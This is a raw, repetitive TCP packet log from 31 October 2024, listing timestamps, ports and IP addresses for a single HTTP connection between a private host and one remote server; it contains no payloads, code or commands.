Oct 31, 2024 20:52:07.780188084 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.780205965 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.780322075 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.780337095 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.780350924 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.780371904 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.780394077 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.780566931 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.780582905 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.780601025 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.780616999 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.780627012 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.780647993 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.780667067 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.780680895 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.780695915 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.780709028 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.780711889 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.780728102 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.780729055 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.780745029 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.780755997 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.780772924 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.780782938 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.780797005 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.780811071 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.780824900 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.780844927 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.780858040 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.780869007 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.780919075 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.780958891 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.781016111 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.781030893 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.781058073 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.781333923 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.781349897 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.781364918 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.781378984 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.781387091 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.781394958 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.781410933 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.781430006 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.781438112 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.781445980 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.781461000 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.781471968 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.781476021 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.781491995 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.781498909 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.781522989 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.781546116 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.781558990 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.781574011 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.781589031 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.781601906 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.781620026 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.781636953 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.781655073 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.781670094 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.781682968 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.781704903 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.781732082 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.941893101 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.941914082 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.941926956 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.941941977 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.942079067 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.942090034 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.942100048 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.942123890 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.942135096 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.942146063 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.942162991 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.942166090 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.942162991 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.942198992 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.942198992 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.942198992 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.942198992 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.942229033 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.942836046 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.942882061 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.943371058 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.943383932 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.943414927 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.943428040 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.943432093 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.943439960 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.943451881 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.943454981 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.943463087 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.943476915 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.943504095 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.946084976 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.946109056 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.946121931 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.946130991 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.946151018 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.946171045 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.946202040 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.946213007 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.946228027 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.946239948 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.946248055 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.946274996 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.946289062 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.946296930 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.946300030 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.946310997 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.946322918 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.946330070 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.946335077 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.946352959 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.946377039 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.946418047 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.946428061 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.946438074 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.946448088 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.946459055 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.946465015 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.946471930 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.946485043 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.946504116 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.946518898 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.946547031 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.946558952 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.946568966 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.946578979 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.946590900 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.946598053 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.946621895 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.946635008 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.946635962 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.946645975 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.946656942 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.946679115 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.946702003 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.947141886 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.947189093 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.947354078 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.947400093 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.947437048 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.947449923 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.947459936 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.947472095 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.947482109 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.947484016 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.947504044 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.947510004 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.947516918 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.947525978 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.947526932 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.947540045 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.947554111 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.947582006 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.947611094 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.947622061 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.947632074 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.947643042 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.947654009 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.947659016 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.947678089 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.947678089 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.947706938 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.947731018 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.947755098 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.947763920 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.947773933 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.947786093 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.947796106 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.947801113 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.947808027 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.947822094 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.947828054 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.947844028 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.947845936 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.947853088 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.947865009 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.947865963 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.947891951 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.947896004 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.947906017 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.947906971 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.947917938 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.947932959 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.947935104 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.947945118 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.947968006 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:07.948203087 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:07.948251009 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.108160019 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.108210087 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.108220100 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.108225107 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.108247995 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.108259916 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.108306885 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.108325958 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.108402014 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.108402014 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.108402014 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.108402014 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.108402014 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.108402014 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.108481884 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.108491898 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.108510017 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.108530998 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.108534098 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.108546019 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.108556986 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.108557940 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.108572960 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.108592033 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.108854055 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.108901024 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.109416962 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.109430075 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.109440088 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.109453917 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.109468937 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.109492064 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.109493971 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.109503031 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.109513044 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.109534025 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.109551907 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.112246990 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.112260103 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.112299919 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.112346888 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.112355947 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.112389088 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.112394094 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.112427950 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.112494946 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.112504959 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.112545967 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.112620115 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.112629890 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.112638950 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.112660885 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.112670898 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.112674952 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.112684965 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.112684965 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.112708092 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.112716913 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.112780094 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.112790108 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.112798929 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.112816095 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.112828016 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.112843037 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.112873077 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.112886906 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.112898111 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.112916946 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.112930059 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.112938881 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.112941027 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.112956047 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.112970114 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.112982988 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.112992048 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.112993956 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.113010883 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.113030910 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.113033056 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.113053083 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.113074064 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.113099098 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.113137960 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.113149881 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.113159895 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.113172054 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.113189936 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.113213062 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.113315105 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.113327026 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.113364935 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.113531113 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.113544941 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.113554001 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.113564014 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.113576889 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.113580942 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.113595009 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.113605976 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.113617897 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.113625050 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.113639116 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.113645077 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.113651991 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.113652945 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.113660097 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.113672018 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.113682032 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.113683939 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.113715887 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.113715887 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.113746881 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.113764048 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.113770008 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.113790989 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.113814116 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.113986969 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.113991976 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.114002943 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.114015102 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.114032984 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.114039898 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.114048004 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.114048958 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.114058971 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.114084959 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.114093065 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.114104033 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.114115000 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.114126921 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.114136934 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.114147902 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.114165068 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.114186049 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.114231110 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.114243984 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.114255905 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.114267111 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.114278078 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.114281893 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.114309072 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.114337921 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.114358902 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.114370108 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.114391088 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.114403009 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.114404917 CET	49734	80	192.168.2.4	185.215.113.16
Oct 31, 2024 20:52:08.114418030 CET	80	49734	185.215.113.16	192.168.2.4
Oct 31, 2024 20:52:08.114430904 CET	49734	80	192.168.2.4	185.215.113.16
